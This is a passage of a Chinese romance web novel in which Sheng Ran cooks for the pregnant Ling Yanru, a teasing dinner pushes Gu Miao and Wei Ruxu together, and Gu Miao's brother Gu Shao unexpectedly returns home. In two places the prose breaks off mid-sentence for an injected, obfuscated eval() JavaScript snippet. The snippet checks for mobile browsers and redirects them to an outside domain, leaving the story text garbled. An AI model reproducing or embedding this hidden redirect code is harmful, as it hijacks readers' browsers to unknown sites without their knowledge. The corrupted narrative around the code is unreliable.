借着检查顾妙魏如栩整理成果的功夫,盛然把凌晏如家里上上下下仔细打量了一遍,心里已经有了很多想法:比如家里要配空气净化器和新风机,保证孕妇呼吸到的是新鲜的空气;挡路的一些家具要重新规划,电路、燃气也都要检查一遍,杜绝安全隐患;家里的拖鞋要全部换成防滑底,能铺地毯的地方要铺上地毯,决不能让她再滑倒第二次。除此之外,他还要做个调研,找个真正不错的生鲜网站,定期往这里送生鲜果蔬,保证她的食品安全。 同时他还把寻找私立妇产医院的事情提上日程,虽然离凌晏如的分娩还有半年的时间,但医院的服务质量也是需要考察的,提前点没什么不好,何况接下来她就要定期做产检了,自然在哪生就在哪检查比较好,在盛然看来,时间已经非常紧迫了。 想到这里,他立刻拿出手机建了个备忘录,一条条地把刚才想到的事情全都记下来,眉头微蹙,手指翻飞,打字非常快。 凌晏如见盛然这副模样,以为他忙着工作上的事,想想也麻烦了人家一晚上,赶紧起身走到他跟前:“你有事的话就去忙吧,别因为我耽误时间。” “嗯。”盛然点了点头,看向魏如栩和顾妙,“妙妙一会儿帮你小姨放水洗个澡,让她睡一会儿,但你先别回家,在这里等我,一会儿我买回菜来你好给我开门。如栩——在家里我就叫你名字了——你可以待在这儿陪妙妙,也可以回家去休息,做好饭了我喊你过来吃,暂时就这样。” 安排完一切,他看了看身边的凌晏如,极其自然地垂下头在她脸颊上轻轻一吻,温柔地说:“好好休息,我一会儿回来。” 说罢盛然便出了门,留下三个目瞪口呆的人类。 77. 第七十七章 鸿门宴 盛然前脚出门,后脚才意识到有什么不对。 他刚刚在思考怎么改良凌晏如家的时候,完全进入了理性工作模式,因此安排接下来的事情时就用上了工作中那不容置疑的口吻。 至于在凌晏如脸上那一吻,是他在思考改良计划时把自己完全代入了当家人的角色,且在思维没有转换过来的情况下表现出的下意识行为。 关于他跟凌晏如的日常相处,盛然在脑海中想过无数遍,如果两人在一起,出门前、进家后都要亲一下,这是必须的,是礼貌,也是表达爱意的方式。可没想到今天就这么在不自觉的情况下带了出来……现在想想,既刺激又令人兴奋。 不管了,盛然心想,晏如要不喜欢,总会跟我说,我再想办法表白真心给她看,但她要是不找我谈…… 想到这里,他还有点小期待了呢! 屋里的三个人还在沉默,凌晏如脸有点红,不知道在想什么。顾妙瞪着大眼看着她,欲言又止。 魏如栩觉得这事自己似乎没什么立场开口,于是看看凌晏如,又看看顾妙,盼着谁先说句话,以击碎目前的尴尬结界。 好在愣了几秒钟之后,顾妙按捺不住好奇心,终于发问了:“小姨,你和盛总,你俩……确定……关系了?他他他连我的称呼都改了,我还真有点不适应!” 凌晏如更是一头雾水:“确定个毛线!我俩就聊了聊,还没聊出结果呢。” 不过她心里暗想,刚才盛然那一家之主的口吻,还挺让人心跳加速的。 “他安排得确实有道理,顾妙你还是先帮着小姨洗澡休息吧。”魏如栩觉得自己也不太方便在这待着,打算回家。 顾妙正要动,凌晏如拦住她,往洗手间走去:“不用把我当珍稀动物,现在我生活还能自理。” 听到浴室里传来“哗哗”的放水声,魏如栩低声跟顾妙说:“我回去一趟,拿跌打药和冰袋过来,顺便给你带双球鞋。你在这陪着小姨聊聊,盛然他……我觉得还是挺可靠的,但还是得看小姨心里怎么想。” 顾妙正忙着消化信息,茫然地点点头。 魏如栩看着她那副处理器宕机的模样,傻乎乎的着实可爱,很想像盛然亲凌晏如那样,也亲她一下,但还是拼命忍住了,冲她一笑,也出了门。 凌晏如洗完澡,看见顾妙坐在沙发上一副心事重重的样子,知道她满脑子好奇,应该是想跟自己聊一聊。但是此刻她满身倦意,也并不知道自己到底想怎么样,于是冲顾妙摆了摆手:“我先睡会儿了,你要是困也在沙发上睡会儿。” 顾妙还等着给魏如栩和盛然开门,自然不敢睡,免得一会儿敲门声大了再把小姨吵醒。她想着让魏如栩也多休息一会儿,就给他发了信息,声称自己要睡觉,吃饭的时候再让他过来,跌打药也不用拿了,等她回家再说。 盛然回来得很快,怕吵醒凌晏如,他直接给顾妙发微信叫门。顾妙见他提了两大袋子蔬菜、水果和肉,连忙接了过去。 “晏如睡了?”盛然见凌晏如卧室关了门,轻声问。 顾妙连连点头。 于是盛然也没多说话,拎着菜就进了厨房。 顾妙跟在他身后,把厨房门关上:“盛总,我给你打下手吧。” “别叫盛总这么见外。”盛然先打开冰箱看了眼,他没估计错,这女人家里就没什么吃的,他把要做的蔬菜从袋子里拿出来递给顾妙,“你来洗菜吧。” 顾妙有点懵:“那我该怎么称呼……总不能叫你盛叔叔吧?” 盛然立刻一脑门黑线,也对,叫哥有点奇怪,如果按他跟凌晏如平辈的话,叫叔叔确实没毛病,而且他自己的侄女还跟顾妙的弟弟是同学。 可顾妙是他公司同事,让她叫自己叔叔,他那颗青春的心还真是接受不了。更何况顾妙跟魏如栩关系那么近,该让他怎么称呼? 盛然知道魏如栩私下都直呼他名字,让这小崽子改口叫叔叔是不可能的,他也受不起。 盛然犹豫了一下:“那还叫盛总吧,没事。” 他心想,我尽快让你改口叫姨夫。 顾妙乖巧地“嗯”了一声,开始洗菜摘菜。盛然本以为她跟过来打下手是有话要问自己,没想到她什么都没说,只是默默干活。 于是他忍不住逗她:“怎么不问问我和你小姨的事儿?” 顾妙手底下没停,头也没抬:“这是你们的私事儿,我不好说太多,就算问也直接问她啦。” “你不担心她吗?”盛然继续试探。 “当然担心,但就算是家人也得有分寸感吧,不然我跟那些整天催人结婚要小孩的七大姑八大姨有什么区别。”顾妙把油菜洗干净,整整齐齐码在沥水篮里,“再说了,我小姨有主心骨,不用我给她出主意。” “唔,倒也是。”虽然莫名有种自作多情的感觉,盛然不得不承认,顾妙在有些事上确实拎得清,这么明白事理很讨人喜欢。 两人默不作声地各忙各的,交流仅限于盛然对她发出各种指令,等菜和辅料都洗干净切好之后,顾妙也没有出去,站在一旁不碍事儿的地方,看着盛然做菜,时刻准备好给他递调料。 “盛总,爱伴宠物的事情进展怎么样了?”顾妙突然问。 “按上次咱们开会的结果做了计划,跟他们沟通了几轮,改动不大,做个系列广告片,内容是幽默还是温情我们自由开发,等脚本出来了他们视内容而定。”盛然炖上番茄牛腩,同时回答顾妙,“下周合同差不多出来,到时候我第一时间拿给你和如栩。” 顾妙点点头:“那就好,这是小魏总拉来的第一个项目,虽然他不说,但我知道他很上心,希望能一切顺利。” 盛然冲她笑笑:“别急,项目前期多番沟通很正常,过方案、过合同、过脚本都很耗时,这件事我会亲自盯着,你放心。” “我知道这样的小项目原本不用你亲自跟,辛苦你费心了。”顾妙诚恳地说。 “如栩亲自把项目安排给我,说明他很重视,多费心是应该的。”盛然把热水加进锅里,盖上盖子,“不过工作不分大小,我都会认真对待。” 顾妙想了想:“盛总,你说有没有可能,我们在做广告片的同时,开发出一个有趣的动漫宠物形象?或者是两个,就像加菲和欧弟那样,说不定还能做些有趣的动漫短片。” “你是打算做个IP出来吗?”盛然若有所思,“但这就不是产品广告的范畴了,而是更偏向于企业形象宣传。” “是不是我想得有点多?”顾妙不好意思地挠挠头。 盛然低头挑着虾线:“那倒不算,是想得比较长远,对争取爱伴宠物跟我们长期合作有好处。这个我会考虑,在跟他们接触的时候可以试探问一下,虽然不属于这次的项目服务范畴,但可以适当表示我们的诚意。” “那也好。我还是业务不熟,想帮忙也不知道该怎么帮。”顾妙说起这个,自觉很是没用。 “你才上班多久,着什么急?有心就行。很多人并没有你这个心思,觉得完成分内事就足够了。” “我的分内事就是为总经理排忧解难啊,当然得多考虑一点。”顾妙垂着头,抠着手指头。 盛然装作若无其事:“你是为总经理,还是为咱们小魏总?” “这……不都是一样的吗?”顾妙突然紧张起来,心想难道盛然看出什么来了? “确实是一样的。”盛然冲她一乐,“行啦,你出去吧,别在这儿弄一身油烟味儿。” “哦,没事,要不是厨房空间大,我还不敢在这碍事。”顾妙见他要做虾仁,踮脚从吊柜里找出了玉米淀粉,“你是客人,来我家做饭,我哪能把你当大厨一个人扔在这儿。” 虽然盛然压根儿没把自己当客人,但是听到这话仍旧觉得心里暖烘烘的,心想顾妙这人,性格直来直去不虚伪,公事上不计回报多操心,私事上懂得分寸感,既有眼力见儿又尊重人,妥妥一件小棉袄,难怪魏如栩喜欢她。 就这一个多小时的功夫,凌晏如美美睡了一觉,做了个特别开心的梦,记不清怎么回事了,就是有种被人疼爱的感觉,觉得特别幸福,然后就被菜香味儿给叫醒了。 她出了卧室,看见顾妙正把菜端上桌。 西红柿炖牛腩、黄瓜炒虾仁、清蒸鲈鱼、酸甜胭脂藕、香菇油菜,摆了满满一餐桌。 顾妙:“小姨你醒啦,正想去叫你呢。” 凌晏如看傻了眼,扭头撞见端着汤煲、系着围裙的盛然,瞠目结舌地问:“都是你做的?” 盛然被她用这种目光看着,心里得意得不行,强作淡定:“是啊,妙妙给我作证。” “盛总做饭太厉害了,我俩聊着天,完全没耽误他的速度。”顾妙实诚地夸奖,“跟变魔术似的。” “先别夸得太厉害,好不好得吃了才知道。”盛然谦虚地说,“我哥哥嫂子出国早,之前带侄女,跟我妈学着练了几个拿手菜,也没几样,在你这个前饭店老板面前可不敢卖弄。” 凌晏如摆摆手:“家常菜跟饭馆做菜不一样,你这整天忙成狗的人,做饭还这么拿得出手,真让人刮目相看。” “快坐下尝尝吧。”盛然摘了围裙,端碗盛饭,被顾妙抢了过去。 顾妙:“盛总你也坐,我来。” “跟如栩说了吗?”盛然知道凌晏如还在打量他,故意避开她的眼神,侧身看着盛饭的顾妙。 “说啦!一听开饭他保准来得快。”顾妙把盛好饭的碗递给盛然,就听到手机响了声,看也没看就去开门,“肯定是他!” 怕打扰凌晏如休息,大家约好了到门口发信息,打开门,果然是魏如栩,他拎着一袋子苹果和橙子进来,随手放进厨房。 “小姨醒啦——哟,这么多好吃的?!”魏如栩探头看着桌上的菜,咽了咽口水,“胭脂藕,我爱吃……” 顾妙拉着他:“先去洗手。” 魏如栩乖乖跟她走,一边洗手一边看顾妙,认真解释:“我可不是馋的,那是见了酸甜口的生理反应。” “喜欢吃藕,还是喜欢酸甜口?”顾妙递给他抽纸,在心里默默记着。 “都喜欢,我还喜欢吃糯米藕,糯糯的甜甜的,哇……这回真是馋的了。”魏如栩回忆着说,“其实我妈做饭一般,跟我水平差不多,好吃的菜都是家里阿姨做的。” “你是不是喜欢吃淮扬菜?”顾妙突然问道。 “为什么这么问?” “就……跟你出差的时候,咱俩第一顿饭就是去的淮扬菜馆。” “我吃什么都行,不挑食。”魏如栩笑了笑:“不过我妈是扬州人,家里阿姨做菜就以这个口味为主,所以不知道吃什么的时候我就习惯去淮扬菜馆,出不了差错。” 顾妙为了拖延时间打探他的口味,又洗了遍手,才跟魏如栩一起去了客厅。等他俩的这会儿功夫,盛然给每个人都盛好了汤。 凌晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459454|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如瞅着他俩:“两位祖宗,洗个手都这么费时间,还以为你俩现挖井去了。” 虽然理论上长辈不用等小辈,但顾妙他们家从来都是一碗水端平,不存在辈分碾压,只会相互尊重。 顾妙有点不好意思,和魏如栩赶紧坐下:“谢谢盛总做的大餐。” 盛然欣然接受夸奖,看了凌晏如一眼,凌晏如便道:“开饭吧!” 饭菜做得怎么样,看吃的人在餐桌上的表现就知道了。顾妙和魏如栩没怎么说话,只顾低头吃饭,抬头称赞。 凌晏如尝了两口,毫不吝啬对盛然的夸奖:“这下尝了有发言权了,盛总你确实厉害。我还以为平日里在家都是你母亲做饭,你吃现成的,没想到真人不露相。” 盛然:“唔,我妈业余生活太丰富,老年大学、广场舞、打麻将、姐妹团联谊,有时候实在顾不上我,我就只能自力更生了。” “阿姨真是我的人生楷模。”凌晏如赞叹道,“我要向她学习,活出自己的人生。” “小姨,你这样我有点替我未来的小弟或者小妹担心。”顾妙凉凉地说。 “不是还有你呢么?”凌晏如调侃她,“谁之前说要帮我带孩子来着?你就当预习了,反正早晚你也有这一天。” 莫名话题被扯到了自己身上,还是结婚生子这样的事儿,况且魏如栩还在场,顾妙有点不好意思,脸红到耳根,不敢说话,只顾扒饭。 盛然仿佛跟凌晏如打配合,把话头转向了魏如栩:“如栩,你爸身体怎么样了?” “恢复得挺好,一直在疗养。”魏如栩说,“中秋节我过去看他。” “替我带个好,公司里的同事都很挂念他。” “嗯,保证传达到。” 盛然舀了一勺虾仁放在凌晏如的盘子里,继续问魏如栩:“你也二十多岁的人了,老魏总没催你找女朋友吗?” 魏如栩的手肉眼可见地停滞了一下,本想说“关你什么事”,但不知出于什么心理,突然改了想法。他放下筷子,擦了擦嘴:“催啊,怎么不催,提起来就头疼。” 说这话的时候他偷偷用眼角瞟了旁边的顾妙一眼,只见她低着头,看不到她的表情,但脸颊上的红晕始终没散。 凌晏如助攻跟上:“你有什么打算吗?哎,像你们这样的孩子,是不是还得有什么政治联姻?” 还没等魏如栩回答,盛然笑道:“晏如你真是小说看多了,我们公司又不是大财团,老板也不是没落的贵族,还没到那份上。老魏总人好,不可能拿独生子的婚姻开玩笑,是吧如栩?” “嗯啊。”魏如栩看顾妙只吃眼前的菜,脸都快埋到碗里了,便用公筷夹了鱼肉放在她面前的碟子里,“我爸不管我,他说相信我的眼光,就是不想让我拖太久,不然就逼着我去相亲。” 顾妙再傻也听出来桌上三个人似乎达成了某种默契,魏如栩和盛然的心理她清楚得很,但是小姨,居然胳膊肘往外拐! 她恨恨地夹起魏如栩夹过来的鱼肉吃掉,顺便向凌晏如发射了一记眼刀。 凌晏如假装没看见,强忍着笑。 盛然伸手握了握她放在膝盖上的手,两人交流了一个心照不宣的眼神。 “相亲也好也不好,我这个过来人最有经验了。”盛然说,“两个素不相识、毫无感情基础的人被迫坐在一起讨论终身大事,要多尴尬有多尴尬,只能瞎套条件,买肉过称似地加加减减,要是最后差不多能平衡,还有下次见面的可能性,要是互相都不满意,就等于浪费时间。好处在哪呢,对于我们上班狗而言,工作环境封闭,顶多认识同事和客户,相亲算是能接触到外人的唯一渠道吧,而且还有媒人在,至少是知根知底,有安全度。” “反正我不相亲,受不了你刚刚说的那样。我不想挑人,也不想被人挑来挑去。”魏如栩看见顾妙手上沾了点油,贴心地为她递过去纸巾,“肯定不会跟客户不清不楚,毕竟有利益关系在。但同事之间没什么不好,上次顾妙还跟我聊过呢。” 顾妙茫然:“?” “就我问你谈彬锐跟策划C组那姑娘的事儿,你不还说只要两个人是真感情,不用管别人怎么说吗?这么快就忘了?” “唔,嗯啊。”顾妙敷衍着,隐隐觉得这对话里有坑,不想回答,心想这特娘的是给我组的鸿门宴吗? “就是,同事关系也没什么问题,反而更了解彼此。又不会在同一个公司一辈子,工作机会好找,适合的恋人可能错过了就没有了。”凌晏如看着顾妙,“妙妙,你要有中意的,就努努力。我可提前给你敲个警钟,你二姑姥姥已经盯上你了,说你要再不找男朋友,她就给你安排相亲。” “相亲就相亲,我根本没在怕的。”顾妙有点恼火,她刚刚把饭吃完,擦干净嘴,想迅速结束这场无聊的对话,“盛总说得对,有媒人在,也能保证知根知底,还能门当户对,这样多省心。我也不怕浪费时间,反正我别的没有,只剩下时间了。” 魏如栩迅速抓住了“门当户对”这个关键词,觉得很是刺耳,想就这个问题探讨一下,但又觉得场合不太合适,欲言又止。 “小姨,盛总,我脚扭了,想回家先上个药。”顾妙站起身,“盘子碗就放在水槽里吧,下午我过来刷,你们吃过饭也都好好休息。” 她垂着眼睛,没看别人的反应,低着头向外走去。 听着门“咣”地关上,凌晏如干巴巴地说:“坏了,玩笑开过火了。” 78. 第七十八章 鸡汤大师 魏如栩赶紧起身追了出去,下了两层楼梯追上了顾妙,很想拉住她,可是看见她的背影和那隐约透出来的怒气,怯怯地收回手,亦步亦趋地跟在她身后。 顾妙知道他会追出来,一点也不意外,只是回头看了他一眼:“吃饱了吗?就跑出来。” “饱了饱了。”魏如栩讪笑,“我饭量又不大。” “嗯。”顾妙应了声,没再说话,拖着扭伤的脚,一心一意下楼。 魏如栩盯着她的脚腕:“疼得厉害吗?” 顾妙:“还行吧,也不严重。” “还是得快点冰敷,按摩按摩。”魏如栩自己都觉得絮叨,但又不知道跟她说什么好,“免得加重。” 顾妙没有再接话,两人就这样沉默地下楼,气氛十分压抑,直到从楼里出来,呼吸了一口新鲜空气,魏如栩才觉得紧绷的神经微微放松了一点。 “你别生气,刚刚大家就是随便聊聊。”魏如栩挠了挠头说,“我家亲戚都远,也很多年没怎么往来,很少遇到这种情形,所以我就多说了两句。” 顾妙缓缓走着,面无表情:“没生气,这有什么可生气的,哪个同龄人能躲得过被家里人催婚。” 生气自然是生气的,气的是好像大家都在一起逼她对魏如栩的感情做回复。现下她确定盛然知道这件事,或许是他自己看出来的,或许是魏如栩说的——但不管怎么样,三对一,太不公平了。 但目前她还没想清楚,本来就在逃避,所以即便生气,也不想再提,打算把话题揭过。 “看小姨跟盛总那配合默契的样子,我觉得他俩有戏。”顾妙说。 魏如栩自然顺坡下驴:“是啊,小姨有人照顾也挺好,至少大事上有个能商量的人,咱俩经历太少,有时候也帮不到她。” “嗯,有时候感情需要天时地利人和,强扭的瓜不甜。”顾妙低头说,这话似乎有多重含义,听得魏如栩心里“咯噔”一声。 “你的意思是……” “两个人在一起需要契机,时间不对也走不到一起去。小姨和盛总同岁,但放在十年前,他俩即便相互喜欢,也长久不了。盛总那会儿应该比现在更忙吧,人应该没有现在稳重,以他的长相和学历,应该内心挺高傲的。”顾妙若有所思地说,“那会儿我小姨跟我现在差不多,也是个冲动急躁的性子,两人在一起肯定天天吵,把感情吵没了算。” 魏如栩觉得她在暗示自己什么,不想接话,保持沉默,听她接下来怎么说。 “在小姨知道自己怀孕之前,两人的可能性也不大。虽然我知道小姨对他也有好感,但她毕竟刚离婚,恐怕很难这么快再走进一段固定的关系当中去。她性格很执拗,冷落时间长了,盛总也不会再那么执着。”顾妙叹了口气,“一个孩子就把局面调整过来了,孩子让小姨开始向往稳定的生活,而目前的她比先前显得更脆弱更需要保护,这成功激发了盛总的保护欲,昨天的事情更成了两人关系的催化剂。孩子就是那个契机。” 她扭头看向身边的魏如栩:“你说我分析得对不对?” 魏如栩:“……” 对别人的感情说得这么清楚明白,对你自己的呢?分析透了吗? “对。”魏如栩点头,想起张爱玲的小说,便随口道来,“‘没有早一步,也没有晚一步,刚巧赶上了。’这种机缘令人羡慕。” 顾妙也没有接他的话,她原本想表达有些事需要天时地利人和,时机不对一切都不对,可说着说着觉得魏如栩似乎并没有get到这一点,便也止住话头,不想再说了。 “我有没有跟你聊过我喜欢的画家?”魏如栩突然说,此刻他们两个已经进了顾妙家的单元楼里,他压低了声音,在空旷的楼道里听来却有一种带着回音的深沉感,余韵撩人。 这倒没有,顾妙回忆起来,魏如栩没怎么提过他专业的事,除了有些学画的人的职业病——比如看东西喜欢眯眼或者拿远了看,说话喜欢用“感觉”这个词——平时很少故意去表现他的专业优势。当然,开玩笑嘲讽顾妙审美的时候除外。 没等顾妙反应,魏如栩继续说道:“我喜欢的画家之一,俄裔法国画家马克·夏加尔,超现实派画家。喜欢他不仅因为他的作品中代表性的梦幻与色彩,还因为他跟妻子贝拉的感情。” 顾妙走在他身前,听到这里也不由偏头看向他,不小心撞在了他的胸口。魏如栩自然地往旁边一撤脚步,跟她并肩,拉着她的手腕。 “老实说,搞艺术的,挺多渣男,因为艺术创作需要澎湃的激情,而激情很多来自新鲜感的刺激。艺术史的背面,基本就是渣男情史,尤其在纸醉金迷、放浪形骸的欧洲。”魏如栩自嘲地笑了笑,“但夏加尔就是为数不多的情痴。他跟贝拉在一起35年,每年在贝拉生日的时候都会为她画上一幅画,直到贝拉去世。可生死并没有稀释夏加尔对贝拉的爱,接近四十年以后,九十五岁的夏加尔,画了一幅叫做《艺术家在维特博斯克》的画,画中街头的那对小情侣,大家都认为他画的就是当年的他和贝拉。” 顾妙听得起了一层鸡皮疙瘩,她深吸了一口气,沉默片刻:“你说,如果他早知道贝拉会这么早离开他,还会跟选择跟她在一起吗?” “事实怎么能假设呢?”魏如栩笑了笑,“况且我不是他,怎么能站在他的立场上假设。” “那如果是你呢?”顾妙没有看他,嘴里却执着地追问。 “正是因为有可能会失去,才应该抓紧当下,珍惜每一秒,不是吗?”魏如栩安慰地看了她一眼,手掌从她的手腕滑下去,握住她的手,“我是个贪心的人,也没什么自控能力,只要喜欢的,就想去追求,即便得到只有一秒,也是幸福的一秒。” 顾妙任凭他握着自己手,垂着眼睫,空旷的楼道里,她的声音听起来有一点颤抖:“可将来失去了,再回忆起过去的美好,不会更加痛苦吗?” “你记得心电图的形状吗?跳动的心是波浪形的曲线。如果静止为一条直线,人就死了。连生命本源都是追求这样的一起一伏,又何必非要把生活过成一汪死水呢?” 魏如栩看着顾妙头顶的发旋,继续道:“人生老病死,总有一别,没什么能长久陪伴。可是美好的回忆谁也抢不走,还会因为思念变得更加浓墨重彩。你不能选择留下什么,但你可以选择记住什么。” 顾妙被他的手心的温度温暖着,觉得刚刚堵在心头的一股气就这么自然而然消散了,抬头看了魏如栩一眼,嗤笑道:“你家开养鸡场的吗?” 魏如栩:“?” “炖鸡汤不要钱!”顾妙抬头冲他龇牙咧嘴地一笑,表示先前的一点小情绪已经消化完毕,一切恢复正常。 看到她的笑脸,魏如栩终于放下心来:“鸡汤不鸡汤的,管用就行呗!” 俩人站在家门口,都没有开自己家门的意思,竟凭空生出了那么一点依依不舍,紧接着就是几秒钟的尴尬。 顾妙赶紧低头掏钥匙开门,魏如栩原本想跟着去她家,看她把跌打药揉上再走,但又觉得刚刚太冒进有点逼人太甚,这会儿还是让她喘口气的好,于是便什么都没说。 “你……”顾妙打开门进了屋,回头看魏如栩站在门口一动不动,向他发射了一个疑问的眼神。 小狼正等在门口,见了干爹,亲得不行,“嗖”地窜出来,在魏如栩脚边蹭来蹭去,抓着他的裤子就往他身上爬。 魏如栩弯腰抱起小狼,对顾妙说:“你好好休息吧,注意照顾好你的脚腕。” “嗯,一点小伤,没事。”顾妙看着小狼,说,“要不让狼陪你玩会儿。” “没事,我抱抱他就好。猫不像狗待哪儿都行,他对环境敏感,我家没有他熟悉的味道,怕他一时间不适应,真以为你不要他了。”魏如栩摸摸小狼的脑袋,“况且他要来我家玩,还得把猫砂盆带上。” 顾妙看着他抱着小狼的样子,突然觉得他们好像刚刚离婚的两口子,正在讨论怎么安排孩子合适,讨论来讨论去,最后发现还是住一起最好。 这是什么诡异的脑洞! 她赶紧甩了甩头,把脑海中的画面赶走,伸手从魏如栩怀里接过小狼:“行吧行吧,最体贴的就是你了。” “且慢。”魏如栩一手扶在门上,“刚刚鸡汤还没说完,能给个机会让我总结陈词么?” 顾妙抱着猫,笑得眉眼弯弯:“说罢,我捏着鼻子灌。” 魏如栩伸手逗了逗小狼:“纵观夏加尔与贝拉的爱情,看着炽热浓烈,充满戏剧性,但其实具体到他们相伴的每一天,也是平淡而细水长流的。两个人就这样相互陪伴,彼此搀扶地走着。这也许就是生活的本质吧,既跌宕起伏充满挑战,又返璞归真琐碎日常。所以也别给自己预设困难,就像小姨不也都想开了么,尽力走好每一步,享受当下。” 顾妙:“……” 文艺男就是文艺男,相处了这么久,居然没发现这宝藏男孩的另一面! “夏加尔在自传里提到贝拉时说过一句话,”魏如栩目光温柔得仿佛要滴出水来,他注视着抱着猫的顾妙,就像注视着他的岁月静好,连楼梯上传来的脚步声也忽略不计,只想把心里惦记了许久的话说出来,“他说,‘只要一打开窗,她就出现在这儿……’” “哎!哟!喂!我是不是看见什么不该看的了?!” 一把熟悉的声音从楼道一侧传来,这戏谑的音调经过军训的淬炼陡然放大了N倍,找揍指数也瞬间飙升。 在关键时刻被打断的魏如栩满头黑线:“……” 顾妙看着突然出现的顾肖,久别的惦念盖过了一切,惊喜地大喊:“怎么一声不吭就回来了?!” 顾肖背着个双肩包,肤色明显暗了几个色号,反衬出他一口大白牙,他笑嘻嘻地说:“还不是为了给你个惊喜,节前没课了,此时不溜更待何时?” 他眼神在呆若木鸡的魏如栩脸上扫了一圈,意味深长地说:“果然我就不该回啊,姐,老魏,我不会被你俩灭口吧?” 顾妙:“灭你个鬼!一回来就想挨揍吗?快给我滚进来。” 魏如栩迅速从沮丧状态中找回神智,对顾肖说:“坐车挺累的,赶紧回去休息吧。” 他看了一眼顾妙,想跟她说个“再见”,但看她目光只顾盯着顾肖,便失落地转头,按指纹解了锁,回了自己家。 刚把门关上,就听见外面传来顾肖的大嗓门:“什么鬼,老魏住咱家隔壁?” 顾妙:“嘘,小点声儿!回家再说!” 接着就传来了顾妙家关门的声音。魏如栩坐在门边的沙发上,屏息等待,果然没过一分钟,顾肖的魔音穿过两道门,直达魏如栩耳边:“小姨怀孕了?!要跟盛……” 他的声音戛然而止,魏如栩脑补出一副画面,笑得躺倒在沙发上。 和魏如栩脑补的画面如出一辙,顾肖的嘴被顾妙一把按住,整个人被怼到墙角,眼睛瞪得要脱窗,只能发出“呜呜”的声音,用眼神表达愤怒。 顾妙恼火:“你知道你现在嗓门有多大吗?想把小姨的事儿嚷嚷得让邻居们都知道?” 顾肖剑眉拧成麻花:“呜呜呜,呜呜,呜呜?!” “我警告你啊,别再吼了。”顾妙威胁地瞪了他一眼,缓缓松开手。 顾肖腮帮子上还挂着顾妙的手印,拼命压低声音,又带着满腔惊诧,意外地达成了舞台上“高呼低语”的效果,哀怨地控诉道:“姐!这么多事儿,你们怎么都不跟我说?!我不过就是出去上个学,你们就不要我了么?!” “行了行了,别戏精上身了。”顾妙疲惫地坐在沙发上,抱着小狼,有一下没一下地摩挲他,“跟你说有什么用,你又帮不上忙。大人的事儿你就别操心了,先管好自己吧。” 顾肖无奈地长叹一口气,拎起掉在地上的背包拍了拍灰,可怜兮兮地坐在墙角换鞋凳上:“一日不见,如隔三秋。跟你一个月不见,你说话就老气成这样,时光真是把杀猪刀。” 顾妙坐了会儿,觉得浑身发软,顺着沙发靠背躺下,眯着眼看顾肖,突然体验到了一种老母亲盼儿归的感觉。她觉得面前这家伙还是一如既往的欠揍,但这熟悉的配方熟悉的味道,看着就觉得心情很好,自动对他的厥词免疫。 “你也是逃不过时光的那头猪,既然都是猪,谁好意思笑话谁?”顾妙懒洋洋地说。 顾肖换了鞋,到自己房间审视了一圈,发现没有被人糟践过的痕迹,这才把背包放在椅子上,跑出来坐在沙发另一边,捉住小狼跟他培养感情。 小狼虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459455|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然只跟顾肖相处过半天,但似乎对他并不陌生,主动投怀送抱,嗅了嗅他的手,又凑上去闻他的脸,一副非常友好的样子。 “哎,姐,”顾肖逗着小狼,“老魏怎么突然搬到隔壁了?他原来住的那地儿不是更高级么,来咱们这老房子干什么?” 顾妙逃避话题,转了身,把脸埋在沙发缝隙里,嘟囔着:“你问他去啊,问我干什么。” 顾肖不怀好意地笑了:“你俩是不是……” “不是。” “有没有……” “没有。” “亲姐弟就不要这么藏着掖着了吧?” “呼……呼……” 顾肖:“……” “姐,借睡遁,不太好吧,好歹我也刚回家,你不能热情招呼下我么?”顾肖怪委屈,“人家还没吃饭饭。” “小姨那里有饭,我们中午在她家吃的。”顾妙闭着眼,打了个哈欠。 顾肖站起来:“那我去慰问下她。” 顾妙这才说:“但建议你不要去,盛总在呢。我倒不怕你被灭口,怕你长针眼。” “……”顾肖出离愤怒,“能不能一次性给我把情况更新清楚了?!” 凌晏如这边其实没什么十八禁的事情发生。魏如栩追着顾妙离开之后,她跟盛然边吃边聊了一会儿这俩小孩的事儿,说说笑笑地吃完了饭。之后盛然把餐桌收拾干净,自然也不会真的把碗留给顾妙洗,手脚麻利地打扫战场。 他收拾厨房的时候,凌晏如就倚在沙发边上看手机。盛然干完活儿,进了客厅在凌晏如身边坐下,把她往怀里一搂,很自然地问:“干什么呢?少看点手机,对眼不好。” “买点补品,照顾一下我这先天不足的孩儿。”凌晏如靠在盛然的怀里,舒服地眯着眼,注意力全在手机上,完全没发觉有什么不妥。 盛然见她没反对,还很是享受的样子,心情十分灿烂:“别瞎买,改天带你去看中医,听大夫建议再进补。” 凌晏如正看得头晕,听他这么一说,立刻把手机扔到一边:“也对,那我就不瞎操心了。” 不过手机一拿开,她也发现自己跟盛然似乎有点亲密过头,赶紧撑起身子坐直,表情不太自然,心里念叨着怎么就被美食和温暖的怀抱攻破了防线,放纵了自己。 盛然观察着她的微表情,大约也知道她其实对现在两人之间的状态很受用,却又始终还没迈过心里那道坎。他不像魏如栩,不打算小火慢炖,也知道凌晏如不是顾妙,没有那么多解不开的心结,不需要那么小心翼翼。 “晏如,和我在一起吧。”盛然拉过她的手,紧紧握住,“我不要什么名分,你也不用非得承认我是你男朋友,只要允许我照顾你就行。” 凌晏如忍俊不禁:“你这是什么要饭的腔调?苦情戏看多了吧?” 